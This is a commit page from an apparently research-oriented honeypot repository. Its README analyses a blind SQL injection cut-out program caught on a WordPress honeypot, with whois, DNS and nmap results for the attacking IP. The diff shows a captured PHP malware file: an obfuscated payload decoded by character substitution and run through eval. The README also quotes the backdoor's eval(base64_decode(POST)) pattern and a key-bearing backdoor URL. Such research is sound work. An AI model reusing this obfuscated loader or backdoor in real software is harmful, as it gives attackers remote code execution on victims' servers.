Skip to content

Commit 63e1223

Browse files
bediger4000bediger4000
committed
Add 188.120.231.151-2018-01-07a/ and materials
1 parent ee17718 commit 63e1223

File tree

6 files changed

+10012
-34
lines changed

6 files changed

+10012
-34
lines changed

‎178.210.90.90-2017-11-28a/[email protected]

+2-2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
1+
<?php
22
$tdstekujbk = 6406; function ytaoyaxksn($diwslyf, $lojiirm){$qtwzlchss = ''; for($i=0; $i < strlen($diwslyf); $i++){$qtwzlchss .= isset($lojiirm[$diwslyf[$i]]) ? $lojiirm[$diwslyf[$i]] : $diwslyf[$i];}
33
$vofcivdhr="base" . "64_decode";return $vofcivdhr($qtwzlchss);}
44
$pefchv = 'avsqOkcS8J2CsnPZ7sBzCuBffs7VfUsnFmWIRJ4MHfN4akaNbqZTFurZfs7PQuAg7sBffs7HgnsnFmWIRg4MHfN4akaNbqZTFurZ'.
@@ -611,4 +611,4 @@ $pefchv = 'avsqOkcS8J2CsnPZ7sBzCuBffs7VfUsnFmWIRJ4MHfN4akaNbqZTFurZfs7PQuAg7sBff
611611
'smOsBWGQ7T8C3rJLxIVJASG9j5VJFsZ4WEO17U0HT5ymVIyLx4aXs3bPBu0q4IyLxLVuFPZu7ggZrZ7ZfLVJtI'.
612612
'ZnjfQUsiCH3rJXUrJI==';
613613
$jjfkuiqqq = Array('1'=>'H', '0'=>'c', '3'=>'s', '2'=>'d', '5'=>'v', '4'=>'k', '7'=>'R', '6'=>'r', '9'=>'2', '8'=>'K', 'A'=>'B', 'C'=>'T', 'B'=>'9', 'E'=>'j', 'D'=>'e', 'G'=>'Y', 'F'=>'J', 'I'=>'g', 'H'=>'D', 'K'=>'t', 'J'=>'C', 'M'=>'7', 'L'=>'i', 'O'=>'a', 'N'=>'p', 'Q'=>'X', 'P'=>'F', 'S'=>'l', 'R'=>'M', 'U'=>'0', 'T'=>'o', 'W'=>'w', 'V'=>'I', 'Y'=>'u', 'X'=>'n', 'Z'=>'U', 'a'=>'Z', 'c'=>'5', 'b'=>'b', 'e'=>'z', 'd'=>'f', 'g'=>'S', 'f'=>'Q', 'i'=>'P', 'h'=>'x', 'k'=>'W', 'j'=>'h', 'm'=>'y', 'l'=>'3', 'o'=>'8', 'n'=>'E', 'q'=>'m', 'p'=>'q', 's'=>'V', 'r'=>'N', 'u'=>'1', 't'=>'4', 'w'=>'6', 'v'=>'G', 'y'=>'L', 'x'=>'A', 'z'=>'O');
614-
eval/*vdcjpxb*/(ytaoyaxksn($pefchv, $jjfkuiqqq));
614+
eval/*vdcjpxb*/(ytaoyaxksn($pefchv, $jjfkuiqqq));

‎188.120.231.151-2018-01-07a/188.120.231.151WlKFM2Qsvi2M-Lm8wDxFZgAAAAc.wso.scans

+55
Large diffs are not rendered by default.

‎188.120.231.151-2018-01-07a/README.md

+291
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,291 @@
1+
# Plausibly Deniable Blind SQL Injection
2+
3+
Cut-out program that tries to check for SQL injections in one of a random number
4+
of web sites included in the code.
5+
6+
## Origin
7+
8+
Downloaded to my WordPress honey pot. I coded the honey pot to emulate some
9+
of the simpler back doors I found in malware otherwise downloaded to the honey pot.
10+
The comment in the code of the honey pot says "Emulate wp_tags.php backdoor".
11+
I can't find the original `wp_tags.php` backdoor malware, but the indications
12+
of POST parameters `fack` and `key` exist in the information the honey pot code
13+
left behind.
14+
15+
It appears that `wp_tags.php` would just do `eval(base64_decode($_POST['fack']);`
16+
I'm not at all sure what value the `key` parameter provides. It looks like `fack`
17+
comes in as part of the POST method parameters, while `key` appears as a name/value
18+
pair in the URL itself. This seems weird.
19+
20+
### IP Address 188.120.231.151
21+
22+
DNS says 188.120.231.151 &rarr; andropov.vasilii.fvds.ru
23+
24+
`whois` says 188.120.231.151 belongs in 188.120.224.0/20AS29182
25+
26+
netname: THEFIRST-NET
27+
org: ORG-FVDS1-RIPE
28+
descr: TheFirst-RU clients (WebDC Msk)
29+
30+
That AS appears to belong to an ISP in Irkutsk, Russia.
31+
32+
% whois fvds.ru
33+
34+
domain: FVDS.RU
35+
org: CJSC "Pervyj"
36+
registrar: REGTIME-RU
37+
admin-contact: https://whois.webnames.ru
38+
39+
Not much to follow there.
40+
41+
`p0f3` says that 188.120.231.151 runs Linux 3.1-3.10
42+
43+
[2018/01/06 14:24:07] mod=syn|cli=188.120.231.151/33334|srv=162.246.45.144/80|subj=cli|os=Linux 3.1-3.10|dist=10|params=none|raw_sig=4:54+10:0:1460:mss*10,7:mss,sok,ts,nop,ws:df,id+:0
44+
45+
`nmap -A` thinks this IP address runs Linux 3.X, OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16,
46+
even more specifically, Debian 4+deb7u6
47+
48+
<!--
49+
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-07 14:43 MST
50+
Nmap scan report for andropov.vasilii.fvds.ru (188.120.231.151)
51+
Host is up (0.19s latency).
52+
Not shown: 986 closed ports
53+
PORT STATE SERVICE VERSION
54+
21/tcp open ftp ProFTPD 1.3.4a
55+
| ssl-cert: Subject: commonName=example.com/organizationName=XX/stateOrProvinceName=XX/countryName=XX
56+
| Not valid before: 2017-08-16T03:39:09
57+
|_Not valid after: 2027-08-14T03:39:09
58+
|_ssl-date: TLS randomness does not represent time
59+
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u6 (protocol 2.0)
60+
| ssh-hostkey:
61+
| 1024 41:48:e5:82:c6:5b:3e:5c:9a:f6:53:f3:92:79:49:58 (DSA)
62+
| 2048 06:7a:92:2f:2a:ac:fd:1e:a6:40:55:47:1e:0f:19:82 (RSA)
63+
|_ 256 c8:e4:2d:32:32:2d:3b:37:b3:b7:4d:fb:6d:f9:b2:2c (ECDSA)
64+
25/tcp open smtp Exim smtpd 4.80
65+
| smtp-commands: andropov.vasilii.fvds.ru Hello andropov.vasilii.fvds.ru [162.246.45.144], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN CRAM-MD5, STARTTLS, HELP,
66+
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
67+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
68+
| Not valid before: 2017-08-16T03:38:06
69+
|_Not valid after: 2027-08-14T03:38:06
70+
|_ssl-date: 2018-01-07T21:45:36+00:00; -1s from scanner time.
71+
53/tcp open domain
72+
| dns-nsid:
73+
|_ bind.version: 9.8.4-rpz2+rl005.12-P1
74+
80/tcp open http Apache httpd 2.2.22
75+
| http-auth:
76+
| HTTP/1.1 401 Authorization Required\x0D
77+
|_ Basic realm=sib service
78+
|_http-server-header: Apache/2.2.22 (Debian)
79+
|_http-title: 401 Authorization Required
80+
110/tcp open pop3 Dovecot pop3d
81+
|_pop3-capabilities: UIDL PIPELINING RESP-CODES CAPA SASL(PLAIN LOGIN DIGEST-MD5 CRAM-MD5) STLS TOP USER
82+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
83+
| Not valid before: 2017-08-16T03:38:06
84+
|_Not valid after: 2027-08-14T03:38:06
85+
|_ssl-date: TLS randomness does not represent time
86+
111/tcp open rpcbind 2-4 (RPC #100000)
87+
| rpcinfo:
88+
| program version port/proto service
89+
| 100000 2,3,4 111/tcp rpcbind
90+
| 100000 2,3,4 111/udp rpcbind
91+
| 100024 1 44219/tcp status
92+
|_ 100024 1 45750/udp status
93+
143/tcp open imap Dovecot imapd
94+
|_imap-capabilities: IMAP4rev1 listed LOGIN-REFERRALS IDLE AUTH=PLAIN AUTH=LOGIN LITERAL+ Pre-login AUTH=CRAM-MD5A0001 ID STARTTLS OK have ENABLE post-login capabilities SASL-IR AUTH=DIGEST-MD5 more
95+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
96+
| Not valid before: 2017-08-16T03:38:06
97+
|_Not valid after: 2027-08-14T03:38:06
98+
|_ssl-date: TLS randomness does not represent time
99+
465/tcp open ssl/smtp Exim smtpd 4.80
100+
| smtp-commands: andropov.vasilii.fvds.ru Hello andropov.vasilii.fvds.ru [162.246.45.144], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN CRAM-MD5, HELP,
101+
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
102+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
103+
| Not valid before: 2017-08-16T03:38:06
104+
|_Not valid after: 2027-08-14T03:38:06
105+
|_ssl-date: 2018-01-07T21:45:36+00:00; 0s from scanner time.
106+
587/tcp open smtp Exim smtpd 4.80
107+
| smtp-commands: andropov.vasilii.fvds.ru Hello andropov.vasilii.fvds.ru [162.246.45.144], SIZE 52428800, 8BITMIME, PIPELINING, AUTH PLAIN LOGIN CRAM-MD5, STARTTLS, HELP,
108+
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
109+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
110+
| Not valid before: 2017-08-16T03:38:06
111+
|_Not valid after: 2027-08-14T03:38:06
112+
|_ssl-date: 2018-01-07T21:45:37+00:00; 0s from scanner time.
113+
993/tcp open ssl/imap Dovecot imapd
114+
|_imap-capabilities: IMAP4rev1 listed LOGIN-REFERRALS IDLE AUTH=PLAIN AUTH=LOGIN LITERAL+ Pre-login AUTH=CRAM-MD5A0001 ID OK SASL-IR ENABLE have post-login capabilities AUTH=DIGEST-MD5 more
115+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
116+
| Not valid before: 2017-08-16T03:38:06
117+
|_Not valid after: 2027-08-14T03:38:06
118+
|_ssl-date: TLS randomness does not represent time
119+
995/tcp open ssl/pop3 Dovecot pop3d
120+
|_pop3-capabilities: UIDL PIPELINING RESP-CODES CAPA SASL(PLAIN LOGIN DIGEST-MD5 CRAM-MD5) TOP USER
121+
| ssl-cert: Subject: commonName=andropov/organizationName=XX/stateOrProvinceName=XX/countryName=XX
122+
| Not valid before: 2017-08-16T03:38:06
123+
|_Not valid after: 2027-08-14T03:38:06
124+
|_ssl-date: TLS randomness does not represent time
125+
1500/tcp open ssl/vlsi-lm?
126+
| fingerprint-strings:
127+
| FourOhFourRequest:
128+
| HTTP/1.0 404 Not Found
129+
| Content-Length: 2715
130+
| Date: Sun, 07 Jan 2018 21:44:25 GMT
131+
| <!DOCTYPE html>
132+
| <html>
133+
| <head>
134+
| <title>404 Not Found</title>
135+
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
136+
| <style>
137+
| body {
138+
| font-weight: normal;
139+
| font-size: 11px;
140+
| font-family: Arial;
141+
| .fatal-error {
142+
| width: 270px;
143+
| height: 270px;
144+
| margin: 0 auto;
145+
| position: absolute;
146+
| top: 50%;
147+
| left: 50%;
148+
| margin-left: -135px;
149+
| margin-top: -135px;
150+
| .fatal-error-round {
151+
| width: 270px;
152+
| height: 270px;
153+
| background: #FF8356;
154+
| border-radius: 270px;
155+
| .fatal-error-inner {
156+
| padding-top: 23px;
157+
| text-align: center;
158+
| .fatal-error-sign {
159+
| margin-bottom: 10px;
160+
| .fatal-error-sign-top {
161+
| background: #FFF;
162+
| width: 14px;
163+
| height: 7px;
164+
| border-radius: 28px
165+
| GetRequest:
166+
| HTTP/1.0 200 OK
167+
| Connection: close
168+
| Content-Type: text/html; charset=UTF-8
169+
| Pragma: no-cache
170+
| Cache-Control: no-cache
171+
| Expires: 0
172+
| Set-Cookie: ispmgrses5=; path=/; HttpOnly; expires=Tue, 08 Jan 2019 00:43:39 MSK
173+
| Set-Cookie: ispmgrlang5=orion:en; path=/; expires=Tue, 08 Jan 2019 00:43:39 MSK
174+
| X-Frame-Options: SAMEORIGIN
175+
| Date: Sun, 07 Jan 2018 21:43:39 GMT
176+
| <!DOCTYPE html><html>
177+
| <head>
178+
| <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
179+
| <title>Authorization</title>
180+
| <link rel="stylesheet" href="/manimg/orion/default/main.css" type="text/css">
181+
| <link rel="shortcut icon" href="/manimg/orion/default/favicon-ispmgr.ico" type="image/x-icon">
182+
| <link rel="mask-icon" href="https:///manimg/common/maskicon/ispmgr.svg" color="#000000">
183+
| <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=yes">
184+
| </head>
185+
| <body class="b
186+
| HTTPOptions:
187+
| HTTP/1.0 200 OK
188+
| Content-Length: 0
189+
| Date: Sun, 07 Jan 2018 21:43:41 GMT
190+
| RTSPRequest:
191+
| HTTP/1.1 200 OK
192+
| Content-Length: 0
193+
|_ Date: Sun, 07 Jan 2018 21:43:42 GMT
194+
| ssl-cert: Subject: commonName=l5d11eab.justinstalledpanel.com
195+
| Subject Alternative Name: DNS:l5d11eab.justinstalledpanel.com
196+
| Not valid before: 2017-08-16T02:36:00
197+
|_Not valid after: 2017-11-14T02:36:00
198+
|_ssl-date: 2018-01-07T21:45:35+00:00; 0s from scanner time.
199+
49152/tcp filtered unknown
200+
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
201+
SF-Port1500-TCP:V=7.60%T=SSL%I=7%D=1/7%Time=5A52948C%P=x86_64-unknown-linu
202+
SF:x-gnu%r(GetRequest,16DA,"HTTP/1\.0\x20200\x20OK\r\nConnection:\x20close
203+
SF:\r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\nPragma:\x20no-cache
204+
SF:\r\nCache-Control:\x20no-cache\r\nExpires:\x200\r\nSet-Cookie:\x20ispmg
205+
SF:rses5=;\x20path=/;\x20HttpOnly;\x20expires=Tue,\x2008\x20Jan\x202019\x2
206+
SF:000:43:39\x20MSK\r\nSet-Cookie:\x20ispmgrlang5=orion:en;\x20path=/;\x20
207+
SF:expires=Tue,\x2008\x20Jan\x202019\x2000:43:39\x20MSK\r\nX-Frame-Options
208+
SF::\x20SAMEORIGIN\r\nDate:\x20Sun,\x2007\x20Jan\x202018\x2021:43:39\x20GM
209+
SF:T\r\n\r\n<!DOCTYPE\x20html><html>\n<head>\n<meta\x20http-equiv=\"Conten
210+
SF:t-Type\"\x20content=\"text/html;\x20charset=UTF-8\">\n<title>Authorizat
211+
SF:ion</title>\n<link\x20rel=\"stylesheet\"\x20href=\"/manimg/orion/defaul
212+
SF:t/main\.css\"\x20type=\"text/css\">\n<link\x20rel=\"shortcut\x20icon\"\
213+
SF:x20href=\"/manimg/orion/default/favicon-ispmgr\.ico\"\x20type=\"image/x
214+
SF:-icon\">\n<link\x20rel=\"mask-icon\"\x20href=\"https:///manimg/common/m
215+
SF:askicon/ispmgr\.svg\"\x20color=\"#000000\">\n<meta\x20name=\"viewport\"
216+
SF:\x20content=\"width=device-width,\x20initial-scale=1\.0,\x20minimum-sca
217+
SF:le=1\.0,\x20maximum-scale=1\.0,\x20user-scalable=yes\">\n</head>\n<body
218+
SF:\x20class=\"b")%r(HTTPOptions,4B,"HTTP/1\.0\x20200\x20OK\r\nContent-Len
219+
SF:gth:\x200\r\nDate:\x20Sun,\x2007\x20Jan\x202018\x2021:43:41\x20GMT\r\n\
220+
SF:r\n")%r(RTSPRequest,4B,"HTTP/1\.1\x20200\x20OK\r\nContent-Length:\x200\
221+
SF:r\nDate:\x20Sun,\x2007\x20Jan\x202018\x2021:43:42\x20GMT\r\n\r\n")%r(Fo
222+
SF:urOhFourRequest,AF0,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Length
223+
SF::\x202715\r\nDate:\x20Sun,\x2007\x20Jan\x202018\x2021:44:25\x20GMT\r\n\
224+
SF:r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20<title>404\x20Not\x20Fou
225+
SF:nd</title>\n\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"t
226+
SF:ext/html;\x20charset=UTF-8\">\n\x20\x20<style>\n\x20\x20\x20\x20body\x2
227+
SF:0{\n\x20\x20\x20\x20\x20\x20font-weight:\x20normal;\n\x20\x20\x20\x20\x
228+
SF:20\x20font-size:\x2011px;\n\x20\x20\x20\x20\x20\x20font-family:\x20Aria
229+
SF:l;\n\x20\x20\x20\x20}\n\x20\x20\x20\x20\.fatal-error\x20{\n\x20\x20\x20
230+
SF:\x20\x20\x20width:\x20270px;\n\x20\x20\x20\x20\x20\x20height:\x20270px;
231+
SF:\n\x20\x20\x20\x20\x20\x20margin:\x200\x20auto;\n\x20\x20\x20\x20\x20\x
232+
SF:20position:\x20absolute;\n\x20\x20\x20\x20\x20\x20top:\x2050%;\n\x20\x2
233+
SF:0\x20\x20\x20\x20left:\x2050%;\n\x20\x20\x20\x20\x20\x20margin-left:\x2
234+
SF:0-135px;\n\x20\x20\x20\x20\x20\x20margin-top:\x20-135px;\n\x20\x20\x20\
235+
SF:x20}\n\x20\x20\x20\x20\.fatal-error-round\x20{\n\x20\x20\x20\x20\x20\x2
236+
SF:0width:\x20270px;\n\x20\x20\x20\x20\x20\x20height:\x20270px;\n\x20\x20\
237+
SF:x20\x20\x20\x20background:\x20#FF8356;\n\x20\x20\x20\x20\x20\x20border-
238+
SF:radius:\x20270px;\n\x20\x20\x20\x20}\n\x20\x20\x20\x20\.fatal-error-inn
239+
SF:er\x20{\n\x20\x20\x20\x20\x20\x20padding-top:\x2023px;\n\x20\x20\x20\x2
240+
SF:0\x20\x20text-align:\x20center;\n\x20\x20\x20\x20}\n\x20\x20\x20\x20\.f
241+
SF:atal-error-sign\x20{\n\x20\x20\x20\x20\x20\x20margin-bottom:\x2010px;\n
242+
SF:\x20\x20\x20\x20}\n\x20\x20\x20\x20\.fatal-error-sign-top\x20{\n\x20\x2
243+
SF:0\x20\x20\x20\x20background:\x20#FFF;\n\x20\x20\x20\x20\x20\x20width:\x
244+
SF:2014px;\n\x20\x20\x20\x20\x20\x20height:\x207px;\n\x20\x20\x20\x20\x20\
245+
SF:x20border-radius:\x2028px");
246+
Device type: general purpose
247+
Running: Linux 3.X
248+
OS CPE: cpe:/o:linux:linux_kernel:3
249+
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
250+
Network Distance: 15 hops
251+
Service Info: Host: 188.120.231.151; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
252+
253+
TRACEROUTE (using port 554/tcp)
254+
HOP RTT ADDRESS
255+
1 16.38 ms 129-45-246-162.versonetworks.net (162.246.45.129)
256+
2 16.40 ms 10.100.100.2
257+
3 21.24 ms 10.100.100.1
258+
4 44.14 ms 100ge14-1.core1.mci3.he.net (184.105.64.50)
259+
5 46.66 ms 100ge14-1.core1.mci3.he.net (184.105.64.50)
260+
6 84.65 ms 100ge8-1.core2.chi1.he.net (184.105.81.210)
261+
7 61.81 ms 100ge16-1.core1.nyc4.he.net (184.105.223.162)
262+
8 167.70 ms 100ge6-2.core1.ams1.he.net (72.52.92.214)
263+
9 157.90 ms 100ge6-2.core1.ams1.he.net (72.52.92.214)
264+
10 185.58 ms xe-7-0-0.mbr1.msk1.ip.di-net.ru (213.248.7.88)
265+
11 185.61 ms xe-7-0-0.mbr1.msk1.ip.di-net.ru (213.248.7.88)
266+
12 185.65 ms te2-1.sr7.msk1.ip.di-net.ru (213.248.3.31)
267+
13 185.65 ms vlan-794.sr2.msk4.ip.di-net.ru (213.248.3.76)
268+
14 185.65 ms core.webdc.ru (92.63.108.98)
269+
15 185.68 ms andropov.vasilii.fvds.ru (188.120.231.151)
270+
271+
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
272+
Nmap done: 1 IP address (1 host up) scanned in 160.25 seconds
273+
-->
274+
275+
## Decoding
276+
277+
1. Hand-edit the `fack` POST parameter into `fack.php`
278+
2. Invoke `php fack.php > dc1.php`
279+
280+
`dc1.php` appears to be the code that `wp_tags.php` was intended to execute.
281+
282+
## Analysis
283+
284+
This is what the program could return as an HTTP response:
285+
286+
||stratigery.com/wp-content/plugins/wp_module/wp_tags.php?key=sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG|| ololo
287+
288+
The "stratigery.com" URL is Base64-encoded into the code downloaded to the fake WSO.
289+
The attacker creates new code containing the domain name of the web site being attacked.
290+
291+
Were the web sites checked for SQLi also encoded-in, on a per-site basis?

0 commit comments

Comments
 (0)